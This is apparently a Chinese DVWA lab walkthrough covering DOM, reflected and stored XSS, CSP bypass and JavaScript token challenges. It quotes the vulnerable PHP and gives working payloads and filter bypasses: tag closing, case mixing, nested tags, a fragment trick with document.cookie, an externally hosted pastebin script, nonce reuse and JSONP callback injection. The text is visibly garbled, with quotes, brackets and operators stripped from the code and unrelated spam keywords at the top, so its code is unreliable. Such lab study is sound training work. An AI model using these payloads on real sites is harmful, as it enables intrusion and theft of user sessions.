水果 网站源码,备案 手机网站,广州互联网项目工作室,未来中森网站建设XSS#xff08;DOM#xff09;
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式#xff0c;可以是反射型的#xff0c;也可以是存储型的#xff0c;所以它一直被划分第三种XSS
与前两种XSS相比#xff0c;它最大的特点就是不与后台服务器交互#xff0c;只是通过浏览器…XSSDOM
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式可以是反射型的也可以是存储型的所以它一直被划分第三种XSS
与前两种XSS相比它最大的特点就是不与后台服务器交互只是通过浏览器的DOM树解析产生
除了jsflash等脚本语言也有可能存在XSS漏洞
难度low
审计代码
?php# No protections, anything goes?
无任何过滤
所以我们可以构造XSS代码访问链接
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?defaultscriptalert(666)/script 我们查看源代码可以看到我们的脚本插入到代码中所以执行了 难度medium
审计代码 ?php// Is there any input?
if ( array_key_exists( default, $_GET ) !is_null ($_GET[ default ]) ) {$default $_GET[default];# Do not allow script tagsif (stripos ($default, script) ! false) {header (location: ?defaultEnglish);exit;}
}?
可以看到medium级别的代码先检查了default参数是否为空如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 script 如果有的话则将 defaultEnglish 。
很明显这里过滤了 script (不区分大小写)那么我们可以使用img src1 οnerrοr(hack) http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?defaultimg src1 οnerrοralert(666) 此时并没有弹出任何页面
我们查看网页源代码发现我们的语句被插入到了value值中但是并没有插入到option标签的值中所以img标签并没有发起任何作用。 所以我们得先闭合前面的标签我们构造语句闭合option标签 option value lang decodeURI(lang) /option
所以我们构造该链接
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default/optionimg src1 οnerrοralert(666) 但是我们的语句并没有执行于是我们查看源代码发现我们的语句中只有 被插入到了option标签的值中因为/option闭合了option标签所以img标签并没有插入 于是我们继续构造语句去闭合select标签这下我们的img标签就是独立的一条语句了
我们构造该链接
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default/option/selectimg src1 οnerrοralert(666) 我们查看源代码可以看到我们的语句已经插入到页面中了 难度high
审计代码 ?php// Is there any input?
if ( array_key_exists( default, $_GET ) !is_null ($_GET[ default ]) ) {# White list the allowable languagesswitch ($_GET[default]) {case French:case English:case German:case Spanish:# okbreak;default:header (location: ?defaultEnglish);exit;}
}?
可以发现使用了白名单的思想只允许FrenchEnglishGerman以及Spanish是否存在绕过的可能性呢答案是肯定的例如使用如下payload便会触发xss
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default#/option/selectBODY ONLOADalert(document.cookie)
可以看到我们在English之后添加了#在url中#后边的内容不会发送到服务端从而可以实现绕过。 XSSReflected
反射型XSS是非持久性、参数型的跨站脚本。
反射型XSS的代码在Web应用参数中例如搜索框的反射型XSS。
注意反射型XSS代码出现在keyword参数中。
但是容易被发现导致很多漏洞提交平台不接收反射型XSS漏洞。
难度low
审计代码 ?phpheader (X-XSS-Protection: 0);// Is there any input?
if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) {// Feedback for end userecho preHello . $_GET[ name ] . /pre;
}?直接通过$_GET方式获取name的值之后未进行任何编码和过滤导致用户输入一段js脚本会执行。 scriptalert(666)/script 难度medium
审计代码 ?phpheader (X-XSS-Protection: 0);// Is there any input?
if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) {// Get input$name str_replace( script, , $_GET[ name ] );// Feedback for end userecho preHello ${name}/pre;
}?
对script标签做了过滤,可以使用事件绕过
a href javascript:alert(666)click/a 难度high
审计代码 ?phpheader (X-XSS-Protection: 0);// Is there any input?
if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) {// Get input$name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[ name ] );// Feedback for end userecho preHello ${name}/pre;
}?
高难度是用preg_replace()函数进行正则过滤script标签
使用 img 标签和其编码转换后的 XSS payload
img src1 οnerrοralert(666) XSSStored
存储型XSS持久化代码是存储在服务器中的如在个人信息或发表文章等地方加入代码如果没有过滤或过滤不严那么这些代码将储存到服务器中用户访问该页面的时候触发代码执行。这种XSS比较危险容易造成蠕虫盗窃cookie等。
难度low
审计代码 ?phpif( isset( $_POST[ btnSign ] ) ) {// Get input$message trim( $_POST[ mtxMessage ] );$name trim( $_POST[ txtName ] );// Sanitize message input$message stripslashes( $message );$message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Sanitize name input$name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Update database$query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );//mysql_close();
}?
trim(string,charlist) 移除string字符两侧的预定义字符预定义字符包括\t 、 \n 、\x0B 、\r以及空格可选参数charlist支持添加额外需要删除的字符
stripslashes(string) 去除掉string字符的反斜杠
mysqli_real_escape_string(string,connection) 函数会对字符串string中的特殊符号\x00\n\r\‘“\x1a进行转义。
$GLOBALS 引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量从函数或方法中均可。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
可以看出low级别的代码对我们输入的message和name并没有进行XSS过滤而且数据存储在数据库中存在比较明显的存储型XSS漏洞
我们输入 1 和 scriptalert(666)/script 可以看到我们的js代码立即就执行了 难度medium
审计代码 ?phpif( isset( $_POST[ btnSign ] ) ) {// Get input$message trim( $_POST[ mtxMessage ] );$name trim( $_POST[ txtName ] );// Sanitize message input$message strip_tags( addslashes( $message ) );$message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$message htmlspecialchars( $message );// Sanitize name input$name str_replace( script, , $name );$name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Update database$query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );//mysql_close();
}?
addslashes(string) 函数返回在预定义字符之前添加反斜杠的字符串预定义字符 、 、\ 、NULL
strip_tags(string) 函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string) 把预定义的字符 小于、 大于、 、‘’、“” 转换为 HTML 实体防止浏览器将其作为HTML元素
当我们再次输入1 和 scriptalert(666)/script strip_tags函数把script标签给剥除了addslashes函数把 转义成了 \
Burpsuite抓包改name参数为:scscriptriptalert(/name/)/script 2.大小写混淆绕过
Burpsuite抓包改name参数为:ScRiptalert(/name/);/ScRipt 3.使用非 script 标签的 xss payload
eg:img标签
Burpsuite抓包改name参数为:img src1 onerroralert(/name/) 最终弹框 难度high
审计代码 ?phpif( isset( $_POST[ btnSign ] ) ) {// Get input$message trim( $_POST[ mtxMessage ] );$name trim( $_POST[ txtName ] );// Sanitize message input$message strip_tags( addslashes( $message ) );$message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$message htmlspecialchars( $message );// Sanitize name input$name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $name );$name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Update database$query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );//mysql_close();
}?
这里使用正则表达式过滤了script标签但是却忽略了img、iframe等其它危险的标签因此name参数依旧存在存储型XSS。
Burpsuite抓包改name参数为img src1 onerroralert(/name/) CSP Bypass
内容安全策略CSP使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本忽略所有其他脚本包括内联脚本和事件处理HTML属性。 除了限制可以从中加载内容的域之外服务器还可以指定允许使用哪些协议; 例如理想情况下从安全角度来看服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输还包括使用安全标记标记所有cookie并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。 两种方法可以启用 CSP。 一种是通过 HTTP 头信息的Content-Security-Policy的字段。 一种是通过网页的meta标签
难度low
审计代码 ?php$headerCSP Content-Security-Policy: script-src self https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;; // allows js from self, pastebin.com, jquery and google analytics.header($headerCSP);# https://pastebin.com/raw/R570EE00?
?php
if (isset ($_POST[include])) {
$page[ body ] . script src . $_POST[include] . /script
;
}
$page[ body ] .
form namecsp methodPOSTpYou can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:/pinput size50 typetext nameinclude value idinclude /input typesubmit valueInclude /
/form
;
源码中提示我们的 输入 https://pastebin.com/raw/R570EE00 $headerCSP Content-Security-Policy: script-src self https://pastebin.com example.com code.jquery.com ht
此时可以上pastebin网站上自己写一个javascript代码alert(“hahaha”)保存后记住链接
https://pastebin.com/raw/zSLDySJn
然后在上面界面中输入链接结果如下 在pastebin上保存的js代码被执行了。那就是因为pastebin网站是被信任的。攻击者可以把恶意代码保存在收信任的网站上然后把链接发送给用户点击实现注入。
难度medium
审计代码 ?php$headerCSP Content-Security-Policy: script-src self unsafe-inline nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA;;header($headerCSP);// Disable XSS protections so that inline alert boxes will work
header (X-XSS-Protection: 0);# script nonceTmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXAalert(1)/script?
?php
if (isset ($_POST[include])) {
$page[ body ] . . $_POST[include] .
;
}
$page[ body ] .
form namecsp methodPOSTpWhatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up./pinput size50 typetext nameinclude value idinclude /input typesubmit valueInclude /
/form
;
http头信息中的script-src的合法来源发生了变化说明如下 unsafe-inline允许使用内联资源如内联 script元素javascript:URL内联事件处理程序如onclick和内联 style元素。必须包括单引号。 nonce-source仅允许特定的内联脚本块nonce“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA” 现在更加简单了可以直接输入以下代码
script nonceTmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXAalert(666)/script nonce是设定好的允许运行
难度high
审计代码 这个级别已经没有输入框了, 不过题目已经给了足够多的提示. 首先先看一下 CSP 头, 发现只有 script-src self;, 看来只允许本界面加载的 javascript 执行. 然后研究了一下这个点击显示答案的逻辑(逻辑在 source/high.js里), 大致如下: 点击按钮 - js 生成一个 script 标签(src 指向 source/jsonp.php?callbacksolveNum), 并把它加入到 DOM 中 - js 中定义了一个 solveNum 的函数 - 因此 script 标签会把远程加载的 solveSum({answer:15}) 当作 js 代码执行, 而这个形式正好就是调用了 solveSum 函数, 然后这个函数就会在界面适当的位置写入答案.
本来嘛, 应该是没办法修改在服务器的 jsonp.php 文件的(除非结合别的漏洞, 拿 shell 后修改). 然而, 我后来在查看服务端源码的时候发现了这个: 竟然还偷偷接收 include 参数(不清楚是不是作者复用了之前 Medium 的代码). 总之, 这肯定能作为一个注入点, 我开始打算用简单粗暴的 scriptalert(hacked)/script 来搞定的, 谁知道, 这种是属于 unsafe-inline 形式的, 所以被限制执行了. 嗯... 既然如此的话, 那我就利用 src 吧.
这个即使你不看源码, 你做几个测试也会发现, 那个 callback 参数可以被操控以生成任何你想要得到的结果, 比如 alert, 因此可以构造 Payload: script srcsource/jsonp.php?callbackalert(hacked);/script, 并把这个当做 include 参数传给界面就 注入成功!
JavaScript 难度low
如果你改成 “success” 提交一下会出现了这个Invalid token。这是什么回事呢 你可以打开控制台F12看看情况。 你会看到这个 token不是后台生成的而是前台生成的。。。而前台生成的 token是用 md5(ChangeMe)而后台期待的 md5 是 md5(success)。 所以你在输入框中输入 success 之后还得在控制台在调用 generate_token() 函数。
结果如下 难度medium
思路是一样的只是生成 token 的函数放到另外的 js 文件中了。 如果你打开这个 js 文件 http://192.168.0.110:5678/vulnerabilities/javascript/source/medium.js 你会看到这样 所以在输入框输入 “success” 之后在控制台中输入do_elsesomething(XX) 就可以了。 难度high
高级和中级类似生成 token 的逻辑在额外的 js 文件中。和中级不同的是这里的 JS 经过了混淆的。。。就显得很混乱。
http://192.168.0.110:5678/vulnerabilities/javascript/source/high.js 截取其中的一段给大家看看
var a[fromCharCode,toString,replace,BeJ,\x5cw,Lyg,SuR,(w(){\x273M\x203L\x27;q\x201l\x273K\x203I\x203J\x20T\x27;q\x201R1c\x202I\x271n\x27;q\x20Y1R?2I:{};p(Y.3N){1R1O}q\x202L!1R1c\x202M\x271n\x27;q\x202o!Y.2S1c\x202d\x271n\x272d.2Q2d.2Q.3S;p(2o){Y3R}z\x20p(2L){Y2M}q\x202G!Y.3Q1c\x202g\x271n\x272g.X;q\x202s1c\x202l\x27w\x272l.3P;q\x201y!Y.3H1c\x20Z!\x272T\x27;q\x20m\x273G\x27.3z(\x27\x27);q\x202w[-3y,3x,3v,3w];q\x20U[24,16,8,0];q\x20K这不是正常人类能看懂的。 而 http://deobfuscatejavascript.com 中提供的功能是把混淆后的代码转成人类能看懂一些 js 代码 其中关键的部分是这里 这里生成 token 的步骤是
1、执行token_part_1(ABCD, 44) 2、执行token_part_2(XX)(原本是延迟 300ms执行的那个 3、点击按钮的时候执行 token_part_3
所以我们在输入框输入 success 后再到控制台中输入token_part_1(ABCD, 44)和token_part_2(XX)这两个函数就可以了。